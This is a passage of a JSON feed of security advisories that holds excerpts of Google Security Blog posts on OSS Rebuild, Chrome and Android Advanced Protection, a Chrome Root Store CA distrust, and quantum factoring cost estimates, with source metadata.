which, while difficult to utilize with discrete logic, is increasingly useful to language models. Our initial experiments have demonstrated the approach's viability in automating exploration and testing, with limited human intervention, even in the most complex builds. \n\n Our Capabilities \n\n OSS Rebuild helps detect several classes of supply chain compromise: \n\n Unsubmitted Source Code - When published packages contain code not present in the public source repository, OSS Rebuild will not attest to the artifact. \n\n Real world attack: solana/webjs (2024) \n\n Build Environment Compromise - By creating standardized, minimal build environments with comprehensive monitoring, OSS Rebuild can detect suspicious build activity or avoid exposure to compromised components altogether. \n\n Real world attack: tj-actions/changed-files (2025) \n\n Stealthy Backdoors - Even sophisticated backdoors like xz often exhibit anomalous behavioral patterns during builds. OSS Rebuild's dynamic analysis capabilities can detect unusual execution paths or suspicious operations that are otherwise impractical to identify through manual review. \n\n Real world attack: xz-utils (2024) \n\n For enterprises and security professionals, OSS Rebuild can... \n\n Enhance metadata without changing registries by enriching data for upstream packages. No need to maintain custom registries or migrate to a new package ecosystem. \n\n Augment SBOMs by adding detailed build observability information to existing Software Bills of Materials, creating a more complete security picture. \n\n Accelerate vulnerability response by providing a path to vendor, patch, and re-host upstream packages using our verifiable build definitions. \n\n For publishers and maintainers of open source packages, OSS Rebuild can... \n\n Strengthen package trust by providing consumers with independent verification of the packages' build integrity, regardless of the sophistication of the original build. \n\n Retrofit historical packages' integrity with high-quality build attestations, regardless of whether build attestations were present or supported at the time of publication. \n\n Reduce CI security-sensitivity allowing publishers to focus on core development work. CI platforms tend to have complex authorization and execution models and by performing separate rebuilds, the CI environment no longer needs to be load-bearing for your packages' security. \n\n Check it out! \n\n The easiest ( but not only! ) way to access OSS Rebuild attestations is to use the provided Go-based command-line interface. It can be compiled and installed easily: \n\n $ go install github.com/google/oss-rebuild/cmd/oss-rebuild@latest \n\n You can fetch OSS Rebuild's SLSA Provenance: \n\n $ oss-rebuild get cratesio syn 2.0.39 \n\n ..or explore the rebuilt versions of a particular package: \n\n $ oss-rebuild list pypi absl-py \n\n ..or even rebuild the package for yourself: \n\n $ oss-rebuild get npm lodash 4.17.20 --output=dockerfile | \\ \n\n docker run $(docker buildx build -q -) \n\n Join Us in Helping Secure Open Source \n\n OSS Rebuild is not just about fixing problems; it's about empowering end-users to make open source ecosystems more secure and transparent through collective action. If you're a developer, enterprise, or security researcher interested in OSS security, we invite you to follow along and get involved! \n\n Check out the code, share your ideas, and voice your feedback at github.com/google/oss-rebuild . \n\n Explore the data and contribute to improving support for your critical ecosystems and packages. \n\n Learn more about SLSA Provenance at slsa.dev\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-07-21T21:34:00.000Z","updatedAt":"2025-08-04T21:40:56.573Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Introducing OSS Rebuild: Open Source, Rebuilt to Last","url":"https://security.googleblog.com/2025/07/introducing-oss-rebuild-open-source.html","type":"primary","publishedAt":"2025-07-21T21:34:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-advancing-protection-in-chrome-on-8b19cc0fc165","cveId":null,"aliases":[],"kind":"advisory","title":"Advancing Protection in Chrome on Android","summary":"Posted by David Adrian, Javier Castro & Peter Kotwicz, Chrome Security Team \n\nAndroid recently announced Advanced Protection , which extends Google’s Advanced Protection Program to a device-level security setting for Android users that need heightened security—such as journalists, elected officials, and public figures. Advanced Protection gives you the ability to activate Google’s strongest security for mobile devices, providing greater peace of mind that you’re better protected against the most sophisticated threats.\n\nAdvanced Protection acts as a single control point for at-risk users on Android that enables important security settings across applications, including many of your favorite Google apps, including Chrome. In this post, we’d like to do a deep dive into the Chrome features that are integrated with Advanced Protection, and how enterprises and users outside of Advanced Protection can leverage them.\n\nAndroid Advanced Protection integrates with Chrome on Android in three main ways:\n\n Enables the “Always Use Secure Connections” setting for both public and private sites, so that users are protected from attackers reading confidential data or injecting malicious content into insecure plaintext HTTP connections. Insecure HTTP represents less than 1% of page loads for Chrome on Android. \n\n Enables full Site Isolation on mobile devices with 4GB+ RAM, so that potentially malicious sites are never loaded in the same process as legitimate websites. Desktop Chrome clients already have full Site Isolation.\n\n Reduces attack surface by disabling Javascript optimizations, so that Chrome has a smaller attack surface and is harder to exploit.\n\nLet’s take a look at all three, learn what they do, and how they can be controlled outside of Advanced Protection.\n\n Always Use Secure Connections\n\n“Always Use Secure Connections” (also known as HTTPS-First Mode in blog posts and HTTPS-Only Mode in the enterprise policy) is a Chrome setting that forces HTTPS wherever possible, and as","detail":"Posted by David Adrian, Javier Castro & Peter Kotwicz, Chrome Security Team \n\nAndroid recently announced Advanced Protection , which extends Google’s Advanced Protection Program to a device-level security setting for Android users that need heightened security—such as journalists, elected officials, and public figures. Advanced Protection gives you the ability to activate Google’s strongest security for mobile devices, providing greater peace of mind that you’re better protected against the most sophisticated threats.\n\nAdvanced Protection acts as a single control point for at-risk users on Android that enables important security settings across applications, including many of your favorite Google apps, including Chrome. In this post, we’d like to do a deep dive into the Chrome features that are integrated with Advanced Protection, and how enterprises and users outside of Advanced Protection can leverage them.\n\nAndroid Advanced Protection integrates with Chrome on Android in three main ways:\n\n Enables the “Always Use Secure Connections” setting for both public and private sites, so that users are protected from attackers reading confidential data or injecting malicious content into insecure plaintext HTTP connections. Insecure HTTP represents less than 1% of page loads for Chrome on Android. \n\n Enables full Site Isolation on mobile devices with 4GB+ RAM, so that potentially malicious sites are never loaded in the same process as legitimate websites. Desktop Chrome clients already have full Site Isolation.\n\n Reduces attack surface by disabling Javascript optimizations, so that Chrome has a smaller attack surface and is harder to exploit.\n\nLet’s take a look at all three, learn what they do, and how they can be controlled outside of Advanced Protection.\n\n Always Use Secure Connections\n\n“Always Use Secure Connections” (also known as HTTPS-First Mode in blog posts and HTTPS-Only Mode in the enterprise policy) is a Chrome setting that forces HTTPS wherever possible, and asks for explicit permission from you before connecting to a site insecurely. There may be attackers attempting to interpose on connections on any network, whether that network is a coffee shop, airport, or an Internet backbone. This setting protects users from these attackers reading confidential data and injecting malicious content into otherwise innocuous webpages. This is particularly useful for Advanced Protection users, since in 2023, plaintext HTTP was used as an exploitation vector during the Egyptian election .\n\nBeyond Advanced Protection, we previously posted about how our goal is to eventually enable “Always Use Secure Connections” by default for all Chrome users. As we work towards this goal, in the last two years we have quietly been enabling it in more places beyond Advanced Protection, to help protect more users in risky situations, while limiting the number of warnings users might click through:\n\n We added a new variant of the setting that only warns on public sites, and doesn’t warn on local networks or single-label hostnames (e.g. 192.168.0.1 , shortlink/ , 10.0.0.1 ). These names often cannot be issued a publicly-trusted HTTPS certificate. This variant protects against most threats—accessing a public website insecurely—but still allows for users to access local sites, which may be on a more trusted network, without seeing a warning. \n\n We’ve automatically enabled “Always Use Secure Connections” for public sites in Incognito Mode for the last year, since Chrome 127 in June 2024.\n\n We automatically prevent downgrades from HTTPS to plaintext HTTP on sites that Chrome knows you typically access over HTTPS (a heuristic version of the HSTS header ), since Chrome 133 in January 2025.\n\n Always Use Secure Connections has two modes—warn on insecure public sites, and warn on any insecure site. \n\nAny user can enable “Always Use Secure Connections” in the Chrome Privacy and Security settings, regardless of if they’re using Advanced Protection. Users can choose if they would like to warn on any insecure site, or only insecure public sites. Enterprises can opt their fleet into either mode, and set exceptions using the HTTPSOnlyMode and HTTPAllowlist policies, respectively. Website operators should protect their users' confidentiality, ensure their content is delivered exactly as they intended, and avoid warnings, by deploying HTTPS. \n\n Full Site Isolation\n\n Site Isolation is a security feature in Chrome that isolates each website into its own rendering OS process. This means that different websites, even if loaded in a single tab of the same browser window, are kept completely separate from each other in memory. This isolation prevents a malicious website from accessing data or code from another website, even if that malicious website manages to exploit a vulnerability in Chrome’s renderer—a second bug to escape the renderer sandbox is required to access other sites. Site isolation improves security, but requires extra memory to have one process per site. Chrome Desktop isolates all sites by default. However, Android is particularly sensitive to memory usage, so for mobile Android form factors, when Advanced Protection is off, Chrome will only isolate a site if a user logs into that site, or if the user submits a form on that site. On Android devices with 4GB+ RAM in Advanced Protection (and on all desktop clients), Chrome will isolate all sites. Full Site Isolation significantly reduces the risk of cross-site data leakage for Advanced Protection users.\n\n JavaScript Optimizations and Security\n\nAdvanced Protection reduces the attack surface of Chrome by disabling the higher-level optimizing Javascript compilers inside V8. V8 is Chrome’s high-performance Javascript and WebAssembly engine. The optimizing compilers in V8 make certain websites run faster, however they historically also have been a source of known exploitation of Chrome. Of all the patched security bugs in V8 with known exploitation, disabling the optimizers would have mitigated ~50%. However, the optimizers are why Chrome scores the highest on industry-wide benchmarks such as Speedometer . Disabling the optimizers blocks a large class of exploits, at the cost of causing performance issues for some websites.\n\nJavascript optimizers can be disabled outside of Advanced Protection Mode via the “Javascript optimization & security” Site Setting. The Site Setting also enables users to disable/enable Javascript optimizers on a per-site basis. Disabling these optimizing compilers is not limited to Advanced Protection. Since Chrome 133, we’ve exposed this as a Site Setting that allows users to enable or disable the higher-level optimizing compilers on a per-site basis, as well as change the default.\n\n Settings -> Privacy and Security -> Javascript optimization and security \n\nThis setting can be controlled by the DefaultJavaScriptOptimizerSetting enterprise policy, alongside JavaScriptOptimizerAllowedForSites and JavaScriptOptimizerBlockedForSites for managing the allowlist and denylist. Enterprises can use this policy to block access to the optimizer, while still allowlisting 1 the SaaS vendors their employees use on a daily basis. It’s available on Android and desktop platforms\n\nChrome aims for the default configuration to be secure for all its users, and we’re continuing to raise the bar for V8 security in the default configuration by rolling out the V8 sandbox . \n\n Protecting All Users\n\nBillions of people use Chrome and Android, and not all of them have the same risk profile. Less sophisticated attacks by commodity malware can be very lucrative for attackers when done at scale, but so can sophisticated attacks on targeted users. This means that we cannot expect the security tradeoffs we make for the default configuration of Chrome to be suitable for everyone. \n\nAdvanced Protection, and the security settings associated with it, are a way for users with varying risk profiles to tailor Chrome to their security needs, either as an indi","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-07-08T17:36:00.000Z","updatedAt":"2025-07-08T17:36:01.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Google Chrome","Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Advancing Protection in Chrome on Android","url":"https://security.googleblog.com/2025/07/advancing-protection-in-chrome-on.html","type":"primary","publishedAt":"2025-07-08T17:36:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-sustaining-digital-certificate-security-chrome-root-store-changes-537c3896067b","cveId":null,"aliases":[],"kind":"advisory","title":"Sustaining Digital Certificate Security - Upcoming Changes to the Chrome Root Store","summary":"Posted by Chrome Root Program, Chrome Security Team \n\n Note: Google Chrome communicated its removal of default trust of Chunghwa Telecom and Netlock in the public forum on May 30, 2025. \n\nThe Chrome Root Program Policy states that Certification Authority (CA) certificates included in the Chrome Root Store must provide value to Chrome end users that exceeds the risk of their continued inclusion. It also describes many of the factors we consider significant when CA Owners disclose and respond to incidents. When things don’t go right, we expect CA Owners to commit to meaningful and demonstrable change resulting in evidenced continuous improvement. \n\nChrome's confidence in the reliability of Chunghwa Telecom and Netlock as CA Owners included in the Chrome Root Store has diminished due to patterns of concerning behavior observed over the past year. These patterns represent a loss of integrity and fall short of expectations, eroding trust in these CA Owners as publicly-trusted certificate issuers trusted by default in Chrome. To safeguard Chrome’s users, and preserve the integrity of the Chrome Root Store , we are taking the following action.\n\n Upcoming change in Chrome 139 and higher: \n\n Transport Layer Security (TLS) server authentication certificates validating to the following root CA certificates whose earliest Signed Certificate Timestamp (SCT) is dated after July 31, 2025 11:59:59 PM UTC, will no longer be trusted by default.\n\n OU=ePKI Root Certification Authority,O=Chunghwa Telecom Co., Ltd.,C=TW \n\n CN=HiPKI Root CA - G1,O=Chunghwa Telecom Co., Ltd.,C=TW \n\n CN=NetLock Arany (Class Gold) Főtanúsítvány,OU=Tanúsítványkiadók (Certification Services),O=NetLock Kft.,L=Budapest,C=HU \n\nTLS server authentication certificates validating to the above set of roots whose earliest SCT is on or before July 31, 2025 11:59:59 PM UTC, will be unaffected by this change. \n\nThis approach attempts to minimize disruption to existing subscribers using a previously announced Chrome featur","detail":"Posted by Chrome Root Program, Chrome Security Team \n\n Note: Google Chrome communicated its removal of default trust of Chunghwa Telecom and Netlock in the public forum on May 30, 2025. \n\nThe Chrome Root Program Policy states that Certification Authority (CA) certificates included in the Chrome Root Store must provide value to Chrome end users that exceeds the risk of their continued inclusion. It also describes many of the factors we consider significant when CA Owners disclose and respond to incidents. When things don’t go right, we expect CA Owners to commit to meaningful and demonstrable change resulting in evidenced continuous improvement. \n\nChrome's confidence in the reliability of Chunghwa Telecom and Netlock as CA Owners included in the Chrome Root Store has diminished due to patterns of concerning behavior observed over the past year. These patterns represent a loss of integrity and fall short of expectations, eroding trust in these CA Owners as publicly-trusted certificate issuers trusted by default in Chrome. To safeguard Chrome’s users, and preserve the integrity of the Chrome Root Store , we are taking the following action.\n\n Upcoming change in Chrome 139 and higher: \n\n Transport Layer Security (TLS) server authentication certificates validating to the following root CA certificates whose earliest Signed Certificate Timestamp (SCT) is dated after July 31, 2025 11:59:59 PM UTC, will no longer be trusted by default.\n\n OU=ePKI Root Certification Authority,O=Chunghwa Telecom Co., Ltd.,C=TW \n\n CN=HiPKI Root CA - G1,O=Chunghwa Telecom Co., Ltd.,C=TW \n\n CN=NetLock Arany (Class Gold) Főtanúsítvány,OU=Tanúsítványkiadók (Certification Services),O=NetLock Kft.,L=Budapest,C=HU \n\nTLS server authentication certificates validating to the above set of roots whose earliest SCT is on or before July 31, 2025 11:59:59 PM UTC, will be unaffected by this change. \n\nThis approach attempts to minimize disruption to existing subscribers using a previously announced Chrome feature to remove default trust based on the SCTs in certificates. \n\nAdditionally, should a Chrome user or enterprise explicitly trust any of the above certificates on a platform and version of Chrome relying on the Chrome Root Store (e.g., explicit trust is conveyed through a Group Policy Object on Windows), the SCT-based constraints described above will be overridden and certificates will function as they do today. \n\nTo further minimize risk of disruption, website operators are encouraged to review the “Frequently Asked Questions\" listed below.\n\n Why is Chrome taking action?\n\nCAs serve a privileged and trusted role on the internet that underpin encrypted connections between browsers and websites. With this tremendous responsibility comes an expectation of adhering to reasonable and consensus-driven security and compliance expectations, including those defined by the CA/Browser Forum TLS Baseline Requirements . \n\nOver the past several months and years, we have observed a pattern of compliance failures, unmet improvement commitments, and the absence of tangible, measurable progress in response to publicly disclosed incident reports. When these factors are considered in aggregate and considered against the inherent risk each publicly-trusted CA poses to the internet, continued public trust is no longer justified. \n\n When will this action happen?\n\nThe action of Chrome, by default, no longer trusting new TLS certificates issued by these CAs will begin on approximately August 1, 2025, affecting certificates issued at that point or later.\n\nThis action will occur in Versions of Chrome 139 and greater on Windows, macOS, ChromeOS, Android, and Linux. Apple policies prevent the Chrome Certificate Verifier and corresponding Chrome Root Store from being used on Chrome for iOS.\n\n What is the user impact of this action?\n\nBy default, Chrome users in the above populations who navigate to a website serving a certificate from Chunghwa Telecom or Netlock issued after July 31, 2025 will see a full page interstitial similar to this one .\n\nCertificates issued by other CAs are not impacted by this action.\n\n How can a website operator tell if their website is affected?\n\nWebsite operators can determine if they are affected by this action by using the Chrome Certificate Viewer.\n\n Use the Chrome Certificate Viewer \n\n Navigate to a website (e.g., https://www.google.com )\n\n Click the “Tune\" icon\n\n Click “Connection is Secure\" \n\n Click “Certificate is Valid\" (the Chrome Certificate Viewer will open)\n\n Website owner action is not required , if the “Organization (O)” field listed beneath the “Issued By\" heading does not contain “Chunghwa Telecom\" , “行政院” , “NETLOCK Ltd.”, or “NETLOCK Kft.”\n\n Website owner action is required , if the “Organization (O)” field listed beneath the “Issued By\" heading contains “Chunghwa Telecom\" , “行政院” , “NETLOCK Ltd.”, or “NETLOCK Kft.”\n\n What does an affected website operator do?\n\nWe recommend that affected website operators transition to a new publicly-trusted CA Owner as soon as reasonably possible. To avoid adverse website user impact, action must be completed before the existing certificate(s) expire if expiry is planned to take place after July 31, 2025. \n\nWhile website operators could delay the impact of blocking action by choosing to collect and install a new TLS certificate issued from Chunghwa Telecom or Netlock before Chrome’s blocking action begins on August 1, 2025, website operators will inevitably need to collect and install a new TLS certificate from one of the many other CAs included in the Chrome Root Store .\n\n Can I test these changes before they take effect?\n\nYes.\n\nA command-line flag was added beginning in Chrome 128 that allows administrators and power users to simulate the effect of an SCTNotAfter distrust constraint as described in this blog post.\n\n How to: Simulate an SCTNotAfter distrust \n\n 1. Close all open versions of Chrome\n\n 2. Start Chrome using the following command-line flag, substituting variables described below with actual values\n\n --test-crs-constraints=$[Comma Separated List of Trust Anchor Certificate SHA256 Hashes]:sctnotafter=$[epoch_timestamp] \n\n3. Evaluate the effects of the flag with test websites\n\nLearn more about command-line flags here .\n\n I use affected certificates for my internal enterprise network, do I need to do anything?\n\nBeginning in Chrome 127, enterprises can override Chrome Root Store constraints like those described in this blog post by installing the corresponding root CA certificate as a locally-trusted root on the platform Chrome is running (e.g., installed in the Microsoft Certificate Store as a Trusted Root CA).\n\n How do enterprises add a CA as locally-trusted?\n\nCustomer organizations should use this enterprise policy or defer to platform provider guidance for trusting root CA certificates. \n\n What about other Google products?\n\nOther Google product team updates may be made available in the future.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-05-30T14:59:00.000Z","updatedAt":"2025-05-30T15:02:16.536Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Google Chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Sustaining Digital Certificate Security - Upcoming Changes to the Chrome Root Store","url":"https://security.googleblog.com/2025/05/sustaining-digital-certificate-security-chrome-root-store-changes.html","type":"primary","publishedAt":"2025-05-30T14:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-tracking-cost-of-quantum-factori-2636cbeeee0c","cveId":null,"aliases":[],"kind":"advisory","title":"Tracking the Cost of Quantum Factoring","summary":"Posted by Craig Gidney, Quantum Research Scientist, and Sophie Schmieg, Senior Staff Cryptography Engineer \n\n Google Quantum AI's mission is to build best in class quantum computing for otherwise unsolvable problems . For decades the quantum and security communities have also known that large-scale quantum computers will at some point in the future likely be able to break many of today’s secure public key cryptography algorithms, such as Rivest–Shamir–Adleman (RSA) . Google has long worked with the U.S. National Institute of Standards and Technology (NIST) and others in government, industry, and academia to develop and transition to post-quantum cryptography (PQC), which is expected to be resistant to quantum computing attacks. As quantum computing technology continues to advance, ongoing multi-stakeholder collaboration and action on PQC is critical. \n\n In order to plan for the transition from today’s cryptosystems to an era of PQC, it's important the size and performance of a future quantum computer that could likely break current cryptography algorithms is carefully characterized. Yesterday, we published a preprint demonstrating that 2048-bit RSA encryption could theoretically be broken by a quantum computer with 1 million noisy qubits running for one week. This is a 20-fold decrease in the number of qubits from our previous estimate , published in 2019. Notably, quantum computers with relevant error rates currently have on the order of only 100 to 1000 qubits, and the National Institute of Standards and Technology (NIST) recently released standard PQC algorithms that are expected to be resistant to future large-scale quantum computers. However, this new result does underscore the importance of migrating to these standards in line with NIST recommended timelines . \n\n Estimated resources for factoring have been steadily decreasing \n\n Quantum computers break RSA by factoring numbers, using Shor’s algorithm. Since Peter Shor published this algorithm in 1994, the esti","detail":"Posted by Craig Gidney, Quantum Research Scientist, and Sophie Schmieg, Senior Staff Cryptography Engineer \n\n Google Quantum AI's mission is to build best in class quantum computing for otherwise unsolvable problems . For decades the quantum and security communities have also known that large-scale quantum computers will at some point in the future likely be able to break many of today’s secure public key cryptography algorithms, such as Rivest–Shamir–Adleman (RSA) . Google has long worked with the U.S. National Institute of Standards and Technology (NIST) and others in government, industry, and academia to develop and transition to post-quantum cryptography (PQC), which is expected to be resistant to quantum computing attacks. As quantum computing technology continues to advance, ongoing multi-stakeholder collaboration and action on PQC is critical. \n\n In order to plan for the transition from today’s cryptosystems to an era of PQC, it's important the size and performance of a future quantum computer that could likely break current cryptography algorithms is carefully characterized. Yesterday, we published a preprint demonstrating that 2048-bit RSA encryption could theoretically be broken by a quantum computer with 1 million noisy qubits running for one week. This is a 20-fold decrease in the number of qubits from our previous estimate , published in 2019. Notably, quantum computers with relevant error rates currently have on the order of only 100 to 1000 qubits, and the National Institute of Standards and Technology (NIST) recently released standard PQC algorithms that are expected to be resistant to future large-scale quantum computers. However, this new result does underscore the importance of migrating to these standards in line with NIST recommended timelines . \n\n Estimated resources for factoring have been steadily decreasing \n\n Quantum computers break RSA by factoring numbers, using Shor’s algorithm. Since Peter Shor published this algorithm in 1994, the estimated number of qubits needed to run it has steadily decreased. For example, in 2012, it was estimated that a 2048-bit RSA key could be broken by a quantum computer with a billion physical qubits. In 2019, using the same physical assumptions – which consider qubits with a slightly lower error rate than Google Quantum AI’s current quantum computers – the estimate was lowered to 20 million physical qubits. \n\n Historical estimates of the number of physical qubits needed to factor 2048-bit RSA integers. \n\n This result represents a 20-fold decrease compared to our estimate from 2019 \n\n The reduction in physical qubit count comes from two sources: better algorithms and better error correction – whereby qubits used by the algorithm (\"logical qubits\") are redundantly encoded across many physical qubits, so that errors can be detected and corrected. \n\n On the algorithmic side, the key change is to compute an approximate modular exponentiation rather than an exact one. An algorithm for doing this, while using only small work registers, was discovered in 2024 by Chevignard and Fouque and Schrottenloher . Their algorithm used 1000x more operations than prior work, but we found ways to reduce that overhead down to 2x. \n\n On the error correction side, the key change is tripling the storage density of idle logical qubits by adding a second layer of error correction. Normally more error correction layers means more overhead, but a good combination was discovered by the Google Quantum AI team in 2023. Another notable error correction improvement is using \"magic state cultivation\", proposed by the Google Quantum AI team in 2024, to reduce the workspace required for certain basic quantum operations. These error correction improvements aren't specific to factoring and also reduce the required resources for other quantum computations like in chemistry and materials simulation. \n\n Security implications \n\n NIST recently concluded a PQC competition that resulted in the first set of PQC standards. These algorithms can already be deployed to defend against quantum computers well before a working cryptographically relevant quantum computer is built. \n\n To assess the security implications of quantum computers, however, it’s instructive to additionally take a closer look at the affected algorithms (see here for a detailed look): RSA and Elliptic Curve Diffie-Hellman. As asymmetric algorithms, they are used for encryption in transit, including encryption for messaging services, as well as digital signatures (widely used to prove the authenticity of documents or software, e.g. the identity of websites). For asymmetric encryption, in particular encryption in transit, the motivation to migrate to PQC is made more urgent due to the fact that an adversary can collect ciphertexts, and later decrypt them once a quantum computer is available, known as a “store now, decrypt later” attack. Google has therefore been encrypting traffic both in Chrome and internally , switching to the standardized version of ML-KEM once it became available. Notably not affected is symmetric cryptography, which is primarily deployed in encryption at rest, and to enable some stateless services. \n\n For signatures, things are more complex. Some signature use cases are similarly urgent, e.g., when public keys are fixed in hardware. In general, the landscape for signatures is mostly remarkable due to the higher complexity of the transition, since signature keys are used in many different places, and since these keys tend to be longer lived than the usually ephemeral encryption keys. Signature keys are therefore harder to replace and much more attractive targets to attack, especially when compute time on a quantum computer is a limited resource. This complexity likewise motivates moving earlier rather than later. To enable this, we have added PQC signature schemes in public preview in Cloud KMS. \n\n The initial public draft of the NIST internal report on the transition to post-quantum cryptography standards states that vulnerable systems should be deprecated after 2030 and disallowed after 2035. Our work highlights the importance of adhering to this recommended timeline. \n\n More from Google on PQC: https://cloud.google.com/security/resources/post-quantum-cryptography?e=48754805\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-05-23T11:57:00.000Z","updatedAt":"2025-05-23T11:57:56.388Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Tracking the Cost of Quantum Factoring","url":"https://security.googleblog.com/2025/05/tracking-cost-of-quantum-factori.html","type":"primary","publishedAt":"2025-05-23T11:57:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-advanced-protection-mobile-devices-ec7dff9def97","cveId":null,"aliases":[],"kind":"advisory","title":"Advanced Protection: Google’s Strongest Security for Mobile Devices","summary":"Posted by Il-Sung Lee, Group Product Manager, Android Security \n\nProtecting users who need heightened security has been a long-standing commitment at Google, which is why we have our Advanced Protection Program that provides Google’s strongest protections against targeted attacks.\n\nTo enhance these existing device defenses, Android 16 extends Advanced Protection with a device-level security setting for Android users. Whether you’re an at-risk individual – such as a journalist, elected official, or public figure – or you just prioritize security, Advanced Protection gives you the ability to activate Google’s strongest security for mobile devices, providing greater peace of mind that you’re protected against the most sophisticated threats.\n\n Simple to activate, powerful in protection \n\n Advanced Protection ensures all of Android's highest security features are enabled and are seamlessly working together to safeguard you against online attacks, harmful apps, and data risks. \n\nAdvanced Protection activates a powerful array of security features, combining new capabilities with pre-existing ones that have earned top ratings in security comparisons , all designed to protect your device across several critical areas.\n\nWe're also introducing innovative, Android-specific features, such as Intrusion Logging. This industry-first feature securely backs up device logs in a privacy-preserving and tamper-resistant way, accessible only to the user. These logs enable a forensic analysis if a device compromise is ever suspected. \n\nAdvanced Protection gives users:\n\n Best-in-class protection, minimal disruption: Advanced Protection gives users the option to equip their devices with Android’s most effective security features for proactive defense, with a user-friendly and low-friction experience.\n\n Easy activation: Advanced Protection makes security easy and accessible. You don’t need to be a security expert to benefit from enhanced security. \n\n Defense-in-depth: Once a user turns on Adv","detail":"Posted by Il-Sung Lee, Group Product Manager, Android Security \n\nProtecting users who need heightened security has been a long-standing commitment at Google, which is why we have our Advanced Protection Program that provides Google’s strongest protections against targeted attacks.\n\nTo enhance these existing device defenses, Android 16 extends Advanced Protection with a device-level security setting for Android users. Whether you’re an at-risk individual – such as a journalist, elected official, or public figure – or you just prioritize security, Advanced Protection gives you the ability to activate Google’s strongest security for mobile devices, providing greater peace of mind that you’re protected against the most sophisticated threats.\n\n Simple to activate, powerful in protection \n\n Advanced Protection ensures all of Android's highest security features are enabled and are seamlessly working together to safeguard you against online attacks, harmful apps, and data risks. \n\nAdvanced Protection activates a powerful array of security features, combining new capabilities with pre-existing ones that have earned top ratings in security comparisons , all designed to protect your device across several critical areas.\n\nWe're also introducing innovative, Android-specific features, such as Intrusion Logging. This industry-first feature securely backs up device logs in a privacy-preserving and tamper-resistant way, accessible only to the user. These logs enable a forensic analysis if a device compromise is ever suspected. \n\nAdvanced Protection gives users:\n\n Best-in-class protection, minimal disruption: Advanced Protection gives users the option to equip their devices with Android’s most effective security features for proactive defense, with a user-friendly and low-friction experience.\n\n Easy activation: Advanced Protection makes security easy and accessible. You don’t need to be a security expert to benefit from enhanced security. \n\n Defense-in-depth: Once a user turns on Advanced Protection, the system prevents accidental or malicious disablement of the individual security features under the Advanced Protection umbrella. This reflects a \"defense-in-depth\" strategy, where multiple security layers work together.\n\n Seamless security integration with apps: Advanced Protection acts as a single control point that enables important security settings across many of your favorite Google apps, including Chrome, Google Message, and Phone by Google. Advanced Protection will also incorporate third-party applications that choose to integrate in the future. \n\n How your Android device becomes fortified with Advanced Protection \n\nAdvanced Protection manages the following existing and new security features for your device, ensuring they are activated and cannot be disabled across critical protection areas:\n\n Continuously evolving Advanced Protection \n\n With the release of Android 16, users who choose to activate Advanced Protection will gain immediate access to a core suite of enhanced security features. Additional Advanced Protection features like Intrusion Logging, USB protection, the option to disable auto-reconnect to insecure networks, and integration with Scam Detection for Phone by Google will become available later this year. \n\nWe are committed to continuously expanding the security and privacy capabilities within Advanced Protection, so users can 